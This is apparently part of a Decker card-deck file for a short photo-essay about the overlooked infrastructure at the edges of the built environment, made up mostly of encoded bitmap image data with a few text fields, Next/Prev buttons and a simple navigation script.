53///7mbZmnz9mtz///////////////////////////////////5+/b//////93/fr3/73//////////ve//MzHz/+3tPbJOfett7v////////////////////////////////////9+//////f/d++vP7///////////+/f/ZvbXf//td5Js3+tnWr////////////////////////////////////33//////fb/z5u/3/v/////////7/t/9KzPZ/27ZbbLWf7tNrv////////////////////////////////////u3///////nvn7bfe///////////97//ZuW7v2/Zv7ZMx+Nttv////////////////////////////////////u6///////f+/+/f+/////73t3/u37v/ydzLs//2y/l2nm5rbbf////////////////////////////////////vv/////ff/v+6/v///v3f/v/3v/f7/+Z6Nnz/7rN+Wct9tPy2////////////////////////////////////uf//////f9u+76+3v/vv/d/+/v3////Jq5bfv7s3vsxptZ8vP/////////////////////////////////////d////////77+3v/v/v/7/979/3u/n/6OzaDf/uz7+3NrzV/f3////////////////////////////////////f//////3/bvu/fvv2/733v//93+///6bcS2Nf7ttn5tJ+ZvJ9////////////////////////////////////+b/////////e59/f373v//e9//3+///k2y0zdtszm+mbdzs7X/////////////////////////////////////9/////7/7bf/33f33v/77/////e///6XqljPdzZ7f75b2bud7////////////////////////////////////////////f/vm3f/f///377v//99///+pslmSdvZnM/DS8zNzf/////////////////////////////////////7/////2++//t5vd7///3//////////m3VMTP6zb2T+bdmbnf////////////////////////////////////////////++7buz/f3v///99//t+////5HtMmWbvZ7d/612zOX////////////////////////////////////////////v///vv5/v////77//vb7///+lqJqSbczWkz+zdna7f///////////////////////////////////////////vfv3/d3/vv///77///fv////pfLJGk92Z7bP+vmTtn////////////////////////////////////////////9vv7bbbv///+////7ef////5l2LGGZtz9s3/7tuc3////////////////////////////////////////////7///+9//3///5+////5e////DaSWMtu2TyzH/emz1v///////////////////////////////////////////7/3vb5293///3/7//f/3///9s+lRIkm819tt/3tO1r////////////////////////////////////////////93v/v/f/////b37///m///94z2WmVMTm30zJ/ts3u////////////////////////////////////////////f3v/f19+7///+////g+f///9hsSYUZmcp/bNn+bV6////////////////////////////////////////////+//+9/3+/////b7//wPb////yfkkwpm2V/02b/pN2/////////////////////////////////////////////973///b+////2//+8R27///612WSiVLkzvTZj+2nm////////////////////////////////////////////3739///+///++/be+Te3///+h0kn5JM8j/+m3dzNs3////////////////////////////////////////////v379/3e/f/9/n///jH3////07mM3GpTk3/uZT1tvn///////////////////////////////////////////////////+//9/2/33+D0////8z0ZYabNsz981n5zLPf///////////////////////////////////////////92/3v3/37v8/9v3/eA//////h1hM7JIaQt/mafLN83/////////////////////////////////////////////7vv9/fvv/B////vxfv////yfmS/Yzb0j/+5rbbXX////////////////////////////////////////////u//vv//+/75F9977/fv////9MxLuzSIuZO3zW9TNdf////////////////////////////////////////////9/v//+79/vtv/7/v//+////R9km7Uqrxn//ZXW653//////////////////////////////////////////9/33v99//t7//v/73v//f////ZbiV70ybuIe39l6zbn///////////////////////////////////////////////3/f//795P/7/ff+/v///6W0l3bkxp5h/f22m1s///////////////////////////////////////////7/79v/3/7/37///9/v//////zR9kbdszLPGm7/vMzlv////////////////////////////////////////////////1/v23////f3+3f9////yXJbu1gn55J/f/5mtv////////////////////////////////////////////+3vf/f/3/vf//+/f/f9////ynZDbfWy+XM/5/7Mzp+///////////////////////////////////////////////+39/3v///379///+///3ltSbs6Rs5Yw7n/tnLr//////////////////////////////////////////////3/939/ff//3v33/9v////0bTHu6lnPPhv8vqc2a////////////////////////////////////////////3////fb7/d///+/vf9/f///9NyHbe8k847J/v7Zmbv////////////////////////////////////////////////W//u///979v/f/////2k+pbZ1ptHTJPf/mc2b////////////////////////////////////////////////97ff/bb979/u9u3f///5NjGTXRjcddY/fsxmb//////////////////////////////////////////////+/7X3/d//7/7/e///////2H1JyndLfbnjP/7TM2f////////////////////////////////////////////+///3X39727+/999tt+///+ydC2rMyU4ceY7fm52bv///////////////////////////////////////////////19vv/3/9+939//9///9pNmNOTjTTTpzL/sjM2f///////////////////////////////////////////////3b7+939799/v97/////+W5J3dOWWcc8c/LObmf/////////////////////////////////////////////v//3b97373v9+/f33v///thtk0z2kVXhxxT+0ze1///////////////////////////////////////////////+13/3v7/ff+99v3vf///svJHqTaXUc+e1fVGXnf/////////////////////////////////////////////9//fb//77//e/7/v/////sjZMoycsfJhzzTvMzm3f///////////////////////////////////////////+9/+13/t3/vu//ft/3v///vk3Inazk05eOOKfpmun/////////////////////////////////////////////7/f93ff/d+//fe/73vf///MvJLemtJ3Dp06ztMzPX////////////////////////////////////////////3//df39u/37ve+/fv/////ci7Ju06M06cueyfZnd3////////////////////////////////////////////v9//23///ff/f79++72////k7Cbdnpdjhw46xJMnW/////////////////////////////////////////////7++//v93f93f333//v///2ZPia19ZJacvPnTSZuqr////////////////////////////////////////////3/++2/9/fb//v/v3e/////7Lag3p2afLh027bZMjr/////////////////////////////////////////////33+///9//7vv7/v972///2i2Gnb2pd4dOXPSSZXW////////////////////////////////////////////9/////7//u7/f3t+7/3////aPsZd26RHTww4baZuVv////////////////////////////////////////////9+7t/3/e+/3f3/7/73///92S4xW2ybc8OXnbMySdv////////////////////////////////////////////////33/+9+/fv3v9737///3J7GS+2klnl04Z82Zqq////////////////////////////////////////////9/vf/v77//7/v/fd7/73///aNsas9mTUcOXTHIzndu////////////////////////////////////////////////v7//e3vv2/f/+/////2bYyX10t3RpyZcdmNZX////////////////////////////////////////////+/f3/3/7f//f/+/e999//+2w/KVPZkl5eHLjrsxnd//////////////////////////////////////////////f/v/37/t7/73/99/7////obk0rf1JXDpy889nKa/v//////////////////////////////////////////7//v+7/f/v77v3vb9+77///uzaSjeNN26MnHDjsrrf////////////////////////////////////////////77///+/9/77+///9+/////9i2Mta2ZNLly8cMsqWZ//3///////////////////////////////////////////7+/3//73/9+939+/d///9sPkxTHJLVcOHDzz51Z///////////////////////////////////////////////+9vvfv/99///t+/f9//76TslJfma2bp0cdONVm3/////////////////////////////////////////////+////f/277/fe/+/fv///7puMyzqZNxcmnjl51qZ//+/////////+////////////////////////////////////9//v/vvff/+/fvv///aNojKCk3eRi4eOOurtv//9////////////////////////////////////////////33/v//f//fvb/f/////cb5Mk2aSw5uPLlw0zMz/////////////f//////////////////////////////////v//97/vv///v/33///+wzMzSRsvfFw6cOu2dr////////////////////////////////////////////////v3d/73+/v33/vvv3//+6bglEnE3R5fHDpx1zM//////////////////////////////////////////////////99//39/v33vfv3//32j5MW2bJ+Hh0cOPHWdz//////////////f/////////////////////////////////7///f3v7/3///f3///3K2MpJJpv4cXTpwy5zN///////////////////////////////////////////////+/9/f///v73933//////8toakmzbevzycumG2a///////////////////////////////////////////////+/79//u9/////vvt9///rD4YbaZZliYOTh04z7L////////////////////////////////////////////////3///v/729++/vf99/+/suSRslzbOHw4OGXnPc///////////////////////////////////////////////////3v/f//++/f//////Yuw2SdTbp4eXr0466Z//////////////////////////////////////////////////7v///d/e//f73ff///LYk3Ztzrejk4MvHHfn//////3f/////////////////////////////////////////3///ff7////33/f//242JE2s3bh6OLxw4Zc5///////////////////////////////////////////////////////v3v3v3/7////7PosyZ7e+Hl4dPDLL3v////////////////////////////////////////////////+///77/3///3+//////K4Yt9ptrs5Obhy4ca7///////e//////////////////////////////////////////////73//739+9////67Bpm22c8niwdOHbzn////////////////////////////////////////////////////f/f/97//////////9kTqZ7fzyePRw8cdd///////////////////////////////////////////////////vf//d//+/////////d4zJt2tkvPk5uHLhln/////////////////////////////////////////////////////ff////////////37CNG2z2z0dPB04dd+////////////////////////////////////////////////////9//////////////+fkpZrtt5OTk5ODTjlv////////7//////////////////////////////////////////////////////////t4DTWszfz5ODm5cON///9//////3/////////////////////////////////////////////////////////7fMaXdr27PX2cXDllz//3////////////////////////////////////////////////////////////////+Zoyy3a3PS4OTi6cMu//3/////////////////////////////////////////////////////////////////3KCmnbn4+PpyeHDpzj///////////////////////////////////////////////////////////////////6eYom2u/n48nJ0cMuO///////////////////////////////////////////////////////////////////+5hjm727sfLr5Objw3////3///////////////////////////////////////////////////////////////3sEJNnaez48nTw8euf///////////////////////////////////////////////////////////////////9q5Sm2316fTi5OThhz//v////////////////////////////////////////////////////////////////+7hEKbue+x8uLg4uHGf///////////////////////////////////////f///////////////////////////uVEytu+x+Xn5eXltyz//+3///////////////////////////////////////////////////////////////61JIJdtnPZ8eTk5cOP///////////////////////////////////////////////////////////////////++iIxt2fq8nhycnBwy///9v///////////////////////////////////////////////////////////////2uZJJb/+b5enlyeeXP//////////////////////////////////+/////f//////////////////////////9thIpttv59nr5OThw6////////////////////////////////////////////////////////////////////dmQiGezfH6cnNzcOnP//////////////////////////////////9////////////////////////////////3PxCQ7ff89ny5OD5yb///////////////////////////////////3////7//////////////////////////9tWUjC/c/j2eLk6MXL///////////////////////////////////3////////////////////////////////vW5CIa/r+fl583Jw6f///////////////////////////////////////////////////////////////////3NtMSz/9vz2fDk5unb//////////////////////////////////+v////9//////////////////////////9u5YQAPfP+PJ7cnHk5///////////////////////////////////7////////////////////////////////+7biUx38v5+XF08PLf////////////////////////////////////////////////////////////////////b6cRBCf2/Hz8+Ti4b///////////////////////////////////f////////////////////////////////0yxxEk7+f7+Hh0+OX///////////////////////////////////2/////////////////////////////////3nOCSHf8/H29Ojk5f////////////////////////////////////////////////////////////////////9uYyBIV/b8eLy6OPP//////////////////////////////////+v/////////////////////////////////s5nGCjf7/n5+XZw4///////////////////////////////////7/////v////////////////////////////W2YIid/X8fD05nDv/////////////////////////////////////////////////////////////////////9ZLkpBX9fz8unm6///////////////////////////////////+3//////////////////////////////////tmMKEO/n+Pz5cWj//////////////////////////////////////////////////////////////////////6bZopI3+vz5PLk5v//////////////////////////////////9v//////f///////////////////////////5FMJEG/u/Pl6eXH//////////////////////////////////////////////////////////9///////////9tZaAUb+/w+HTxZ///////////////////////////////////t///////////////////////////////////rLKJgT/z/Xs8mnv////////////////////////////////7/+///////////////////////////////////9Mq4CIX/P8+nnyf///////////////////////////////////////////////////////////////////////2zJYIj/7fLs8On///////////////////////////////////t3//////////////////////////////////+ZW0gGb/P8+jp6P///////////////////////////////////////////////////////////////////////5ySiYFn8/x+eXP//////////////////////////////////9///f/////////////////////////////////S1sAkH/39eby5///////////////////////////////////9/////////////9//////////////////////9lkyAtn9vx4+LP//////////////////////////////////9//7f/////////////////////////////////mlLJEDf3/Hh5///////////////////////////////////7///v//////////f//////////////////////+tsoFhv+f69PD///////////////////////////////////7//3//////////////////////////////////spTI7C/7+vs7f//////////////////////////////////3v////////////////////////////////////9plIuBN/P56eX/////////////////////////9///////////+7//////////////////////////////////7bWjDF/9vHo4///////////////////////////////////v//7///////////////////////////////////ZJMYAN/v8+nv///////////////////////////////////v//9v/////////f///////////////////////5rM+SJ39vj7f/////////////////////////9////////9v//f///////////////////////////////////rMzAIP/v7eP//////////////////////////////////////9//////////7////////////////////////+TfyAQ3+fn6f//////////////////////////////////7///3///////////////////////////////////3K/JEjfz+PP///////////////////////////f///////7/+/27/////////////////////////////////+S7KkA//fr8///////////////////////////////////f//737//////////////////////////////////zWzIJDf2+PP//////////////////////////////////////v/3//////////////////////////////////k/MIQP/f4////////////////////////////////////v//f+3//////////////////////////////////7tfgRJ/7fv//////////////////////////////////////9//7//////////////////////////////////NhmAAO/f4////////////////////////////////////////33//////////////////////////////////9/dySR/9/n///////////////////////////////////7//f//+//////////////////////////////////+12ABH/n8//////////////////////////////////////9/++///////////////////////////////////3tYkA/+/v/////////////////////////////////////////////////////////////////////////////tzASD/2////////////////////////////////////+//v//////////////////////////////////////7OZAI7+///////////////////////////////////////////f//////////////////////////////////78ziQj/7/////////////////////////////////////f/f//////////////////////////////////////z6IBAf/P/////////////////////////////////3////////9/////9////////////////////////////9uzkEhv4//////////////////////////////////9v3/7/////////9/////////////////////////////zLNACO////////////////////////////////////////////////////////////////////////////////MxJIJ///////////////////////////////////+/+/////////////f////////////////////////////7TbAlH////////////////////////////////////9//3////////////////////////////////////////NrIAQ3/////////////////////////////////////fv//////////7/////////////////////////////+yWkiD///////////////////////////////////////7////////////////////////////////////////rZcAIb/////////////////////////////////////////////////9/////////////////////////////8zlkYj/////////////////////////////////////////////////7//////////////////////////////zOUQIf////////////////////////////////////3/v/////////////////////////////////////////s5wQ5/////////////////////////////////////7//////////////////////////////////////////2zmBCA==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[140,56],&#34;pos&#34;:[7,160],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;it can be tempting to ignore the edges of the shape of our built environment&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[334,30],&#34;pos&#34;:[91,283],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;to deem them not just unremarkable but unfortunate, and certainly unfit to photograph.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[249,46],&#34;pos&#34;:[36,227],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;the power lines, the train tracks, the roads and sidewalks, the conduit and pipes and pylons;&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{script:card1.0}&#xA;on click do&#xA;  go[&#34;Prev&#34; &#34;SlideRight&#34;]&#xA;end&#xA;{end}&#xA;&#xA;{card:card2}&#xA;image:&#34;%%IMG0AgABVv/////////////////////////////////////////////+/t97+73v/v7b9/+79v7b///////////3v/ttv7f/////////////////////////////////////////////9/v9/77/+7e7/v27/v+3/tttttttttttve2//+79////////////////////////////////////////////////79739t7/77ff7u+7/2///////////+9/7bb73//////////////////////////////////////////////f/7/337//237/dv+77u37bbbbbbbbbbb723//n3b////////////////////////////////////////////////+/33vbf/f7f+3/v+/v///////////vv/bbff/////////////////////////////////////////////////////ff9t93/b/d+39u22222222222++2/+99tv//////////////////////////////////////////////////9/f3/33b/t93/d////////////77/7b73///////////////////////////////////////////////////////v7/v/u/3/d97tttttttttttvvtv/vvbN////////////////////////////////////////////////////v/vtvve9vu97/v//////////++/+2++/f//////////////////////////////////////////////////////+//vf9/u/77fbbbbbbbbbbb77b/777ff///////////////////////////////////////////////////////7//d9v+739///////////vv/tvvv+9///////////////////////////////////////////////////////373d9/u7/b7bbbbbbbbbbe+2/+++27//////////////////////////////////////////////////////////f99+/7/7//////////97/7b77//v////////////////////////////////////////////////////////+/997+7u37bbbbbbbbbb3tv/vvtt+//////////////////////////////////////////////////////////3//v7+/b//////////vf+2++//z////////////////////////////////////////////////////////////e/f79/7bbbbbbbbbe9t/777bfv/////////////////////////////////////////////////////////////e/v3f/////////97/23vv/9+/////////////////////////////////////////////////////////////f9+/922222222233tv/e+233///////////////////////////////////////////////////////////////7973/////////ff+297/ffP///////////////////////////////////////////////////////////////97/3tttttttt99t/73t98+//////////////////////////////////////////////////////////////f//9/f///////33/23vfv37//////////////////////////////////////////////////////////////////997bbbbbbffbf/e9u/fv/////////////////////////////////////////////////////////////////v/7//////99/9t97/69+/////////////////////////////////////////////////////////////////////+22223323/33tv73///////////////////////////////////////////////////////////////////vfb/////ff/bfff+3vP///////////////////////////////////////////////////////////////////////ttt99t/999t/e+//////////////////////////////////////////////////////////////////////e///33/2333/297////////////////////////3////////////////////////////////////////////+///7/fbf/ffbf73v///////////////////////d////////////////////////////////////////////////v2+/9t99/9vvf///////////////////////13/v/////////////////////////////////////////////v//+3/3323++9v//////////////////////7b/b////////////////////////////////////////////////3/tvff/b77////////////////////////t/tf//////////////////////////////////////////////f//v/99t/vvt///////////////////////2X7X///////////////////////////////////////////////////b3/2++////////////////////////99/Z/////////////////////////////////////////////////39//bf777f///////////////////////m/yt/7f////////////////////////////////////////////////+/+/vv9///////////////////////+v7rf0k////////////////////////////////////////////////+//9++3///////////////////////9t+xJma3/////////////////////////////////////////////////9377/f///////////////////////t/nKkpt/////////////////////////////////////////////////9///39///////////////////////9n8SMkB/5d/////////////////////////////////////////////////9/v////////////////////////aBJRJQH9lG////////////////////////////////////////////////v++////////////////////////7tGFJDM/SYh/n////////////////////////////////////////////////+///////////////////////7MwYCSN/khmPyf////////////////////////////////////////////////////////////////////////1jBiCQn+EAb0of///////////////////////////////////////////////////////////////////////3MMMSxvekYA9CRH///////////////////////////////////////////////////////////////////////Ngy0khfkQkfQyU/l/////////////////////////////////////////////////////////////////////+WShnbX8EARTEIPyP/////////////////////////////////////////////////////////////////////5Utnx/+wJA2Egj8iAP////////////////////////////////////////////////////////////////////00lfb/koAmxiA/gIAh////////////////////////////////////////////////////////////////////7Ne//8iSIkMIXyyRAGP//////////////////////////////////////////////////////////////////ttt7//pIZ/RwF+YREJAz/////////////////////////////////////////////////////////////////+yL////2wn1yAXnQMSwAD/////////////////////////////////////////////////////////////////uKf///ebb9uCV2QgA5ZA/v///////////////////////////////////////////////////////////////8zf////97/r4E+MiCBHcf4N///////////////////////////////////////////////////////////////2X/////7/77Q3oiAIT/H8BO//////////////////////////////////////////////////////////////8y/////////Wt6AhESfz/mRgH////////////////////////////////////////////////////////////+2v////////+7/JBYPH+f58ZAh////////////////////////////////////////////////////////////8////////////4WDJ5/n+DCYIF///////////////////////////////////////////////////////////+1////////////bbgCMx/gQnOBM/////////////////////////////////////////////////////////////////////////9uQwGf8GBzmDPh/////////////////////////////////////////////////////////////////////////5GDj/PgM5mH4MP////////////////////////////////////////////////////////////////////////9h8/z5DnAh+BA5//////////////////////////////////////////////////////////////////////////f8MQ5wcf2RMHn//////////////////////////////////////////////////////////////////////////AmOcHH8wxBwZ/////////////////////////////////////////////////////////////////////////4JznM5/ImDMGD//////////////////////////////////////////////////////////////////////////85zOfwIJ4MAc5//////////////////////////////////////////////////////////////////////////c5n8GDOXpmMYv/////////////////////////////////////////////////////////////////////////uZ/PkTk+YxjA3//////////////////////////////////////////////////////////////////////////f55k4MQYYBEb//////////////////////////////////////////////////////////////////////////+fMOTEGSIBGIP//////////////////////////////////////////////////////////////////////////3JmYBkhEQjAP3////////////////////////////////////////////////////////////////////////9zBmTIMRAISJwf/////////////////////////////////////////////////////////////////////////wcAyBAAmSSeD/P////////////////////////////////////////////////////////////////////////fAuAQSARkWm/Cz/////////////////////////////////////////////////////////////////////////7lxkghAJ5/yIP//////////////////////////////////////////////////////////////////////////cgCKCCND+SyTb/////////////////////////////////////////////////////////////////////////7aQgmTQ+mTZGJ3////////////////////////////////////////////////////////////////////////+1jEk5P4x2YZlJ/////////////////////////////////////////////////////////////////////////acEmN/CWTBEjT//////////////////////////////////////////////////////////////////////////IIbf0myKBJJP/////////////////////////////////////////////////////////////////////////+skP5E2SJIST///////////////////////////////////////////////////////////////////////////5g/MmRAgTJP////////////////////////////////////////////////////////////////////////////vwMhGCQI3/////////////////////////////////////////////////////////////////////////////+cmSQRjJ//////////////////////////////////////////////////////////////////////////////5wrFkGIn///////////////////////////////////////////////////////////////////////////////7Mkoyb////////////////////////////////////////////////////////////////////////////////+5JmZ//////////////////////////////////////////////////////////////////////////////////9Eyf//////////////////////////////////////////////////////////////////////////////////9G7///////////////////////////////////////////////////////////////////////////////////9u////////////////////////////////////////////////////////////////////////////////////+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////5////////////////////////////////////////////////////////////////////////////////////+P////////////////////////////////////////////////////////////////////////////////////B//+Bv///////////////////////////////////////////////////////////////////////////////wf//AG///////////////////////////////////////////////////////////////////////////////8P//wAP///////////////////////////////////////////////////////////////////////////////B//5AR///////////////////////////////////////////////////////////////////////////////4f/+NMf//////////////////////////////////////////////////////////////////////////////8H//j+H///////////////////////////////////////////////////////////////////////////////B//4bw/////////n//+3/////////////////////////////////////////////////////////////////4f/+H8f////////5//+Tf////////////////////////////////////////////////////////////////+D//z/H////////8P//AF//9v/////////////////////////////////////////////////////////////B//4ew/////////D//wCX/+Qv////////////////////////////////////////////////////////////4f/+H8f////////w//8AD//pL//+m////////////////////////////////////////////////////////+D//x/j////////8P//gA//wBv//s3////////////////////////////////////////////////////////A//4fw/////////D//8gH/9AP//klf//t////////////////////////////////////////////////////4f//H8P////////4f//2F/+AD//8En//pn///////////////////////////////////////////////////+H//x/j////////8P//9gf/oBf/8gC//7Nv/+T////////////////////////////////////////////////h//8fw/////////C///2L/4Cf//gBL/6RP/+23///////////////////////////////////////////////8///H+P////////4f//+B/+C7//oAG/+hJ//kn////////////////////////////////////////////////3//5/n////////+H//7gf/on//6Agf/yBP/sk////////////////////////////////////////////////n////5/////////D///sD/4Hf//DIX/9AS/5Bn///////////////////////////////////////////////8P/////////////4f//2S/+B///0Mhf/yRP/EGf//////////////////////////////////////////////+D////3////////+H///wf/wm//5DY3/zIX+YA////////////////////////////////////////////////g////9/////////Df/9kF/0G///BID//kjf5CT///////////////////////////////////////////////4P///+P////////4f//2B/+A2//wWS///IP+CN///////////////////////////////////////////////+B//+/j////////+f//5IP/om//7DYv//Mb+YI////////////////////////////////////////////////w//+pof////////7//4AL/4E2/+gkF//8RPxFv///////////////////////////////////////////////4N//puH////////8///ADv/AE//wWRf//Yf/Ee///////////////////////////////////////////////+B//5ZD/////////X//gAf/YIn/9Fgf/+wJ8gR////////////////////////////////////////////////w///FEf////////h//4A3/8ADf+gmC//2S36G3///////////////////////////////////////////////8H//bZH////////4f//AB//wAf/oNC//mQb8gv////////////////////////////////////////////////B//65D/////////D//wAP/6AD/+lkn/+ET/SE3///////////////////////////////////////////////wf/+mQf////////h///sJ/7ACf/peH/9kCf8ET///////////////////////////////////////////////8H//0yH////////4P//6x//0AJ/5ttv/EA36QE3///////////////////////////////////////////////B//9kx/////////D//7gH/3IC//Kkv/sAH/oEz///////////////////////////////////////////////wX//k0f////////x///+D//swf+YtL/6AJv6ABv//////////////////////////////////////////////+H//9tH////////4H//9gv/pkF/4HJP+IBv/IAn///////////////////////////////////////////////j///vx/////////n//9wKb8QQ3+BIX+wAP/YADf///////////////////////////////////////////////////8f////////w///8AAHEwv+YtDf2AZ/+QBP////////////////////////////////////////////////////n////////8P//9wQB4gI9wCQv8Al//YAG//////////////////////////////////////////////////////////////D//94f/+JBDmBIL/gM7/8gCf/////////////////////////////////////////////////////////////wv//7B//gQR4AUh/sJ7v+wAN/////////////////////////////////////////////////////////////+P//LQ//8QmfkABX8hN+25kE//////////////////////////////////////////////////////////////j//oSL/+QgN/SoH3gbRttkRb/////////////////////////////////////////////////////////////5//6SD//wgA3kNi/sDZJm8gH//////////////////////////////////////////////////////////////3/+AAf/0kEP8FAt8iexEZqCbt///////////////////////////////////////////////////////////////gAb/9AQA9hJL/om79xogju0//////////////////////////////////////////////////////////////8AH//gAIX2CC/5Gb736SGZLb/////////////////////////////////////////////////////////////9wEz/oAIF8JIb/QV//7BAb2Mv/////////////////////////////////////////////////////////////71//+ACBvgAX/yEX/7WBL7e7//////////////////////////////////////////////////////////////tv//5JYPsAF/6Ip//0CE3/f//////////////////////////////////////////////////////////////////7bfv9gA3/gBn/2ACX////////////////////////////////////////////////////////////////9v+//7bb/kBv/2AP/8kAt////////////////////////////////////////////////////////////////z////73/v/bN/9ABv+wAm////////////////////////////////////////////////////////////////8//////bf/tt//0DP/5AF/////////////////////////////////////////////////////////////////3///////7/b//9sf/5AFP//////////////////////////////////////////////////////////////////936/3///f///pzf/yEf//////////////////////////////////////////////////////////////////////+f9/f////n//7JL//////////////////////////////////////////////////////////////////////////39////3/+1u///////////////////////////////////////////////////////////////////////////8///////7T////////////////////////////////////////////////////////////////////////////7////////v/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////vJ///////////////////////////////////////////////////////////////////////////////////7bH//////////////////////////////////////////////////////////////////////////////////6ScX+5fbf////////////////////////////////////////////////////////////////////////////7SRlNsxJH////////////////////////////////////////////////////////////////////////////+0kMbZjKSf////////////////////////////////////////////////////////////////////////////yQoTMQCC7/////////////////////////////////////////////////////////////////////////////JJiazEAD/////////////////////////////////////////////////////////////////////////////SJMbJAEQf////////////////////////////////////////////////////////////////////////////2JYScwgBf////////////////////////////////////////////////////////////////////////////+wYgzTBIW/////////////////////////////////////////////////////////////////////////////nJmSUEAQ/////////////////////////////////////////////////////////////////////////////8ykEySCQn//////////////////4eP////////////////////////////////////////////////////////maSyiIAj//////////////////+DBnAL8////////////////////////////////////////////////////+1skmkyJP//////////////////mRJ0C+Df///////////////////////////////////////////////////+Wl0mSZW//////////////////50xMnnkTP//////////////////////////////////////////////////99NltMzTf/////////////////+HOTJx5kz////////////////////////////////////////////////////v7tv3Kf//////////////////wzgyGedM/////////////////////////////////////////////////////////+3//////////////////+A8sg3nxP/////////////////////////////////////////////////////////////////////////////4vDgs58B//////////////////////////////////////////////////////7//////////////////////3Ji5eOfAf/////////////////////////////////////////////////////+//////////////////////8yAmXznpn/////////////////////////////////////////////////////+3//////////////////////gwIEEsSZ//////////////////////////////////////////////////////0f/////////////////////8eDDBBgnf/////////////////////////////////////////////////////9v///////////////////////745IINn/////////////////////////////////////////////////////+J////////////////////////////vc//////////////////////////////////////////////////////5v///////////////////////////////////////////////////////////////////////////////////7L////////////////////////////////////////////////////////////////////////////////////Lf///////////////////////////////////////////////////////////////////////////////////6f////////////////////////////////////////////////////////////////////////////////////b///////////////////////////////////////////////////////////////////////////////9////3f/////////////////////////H////////////////////////////////////////////////////9n///7f/////////////////////////w////////////////////////////////////////////////////+e////////+/////////////////////8/////////////////////////////////////////////////////ov////////n/////////////////////D////////////////////////////////////////////////////6l////////kf////////////////////4////////////////////////////////////////////////////+tf///////8n/////////////////////n////////////////////////////////////////////////////xP///////+m/////////////////////t////////////////////////////////////////////////////3b////////ov////////////////////4f////////////////////////////////////////////////////bf///////5N/////////////////v///P//////9f////////////////////////////////////////////y/////////R/////////////////z//////////8R//////////////////////////////////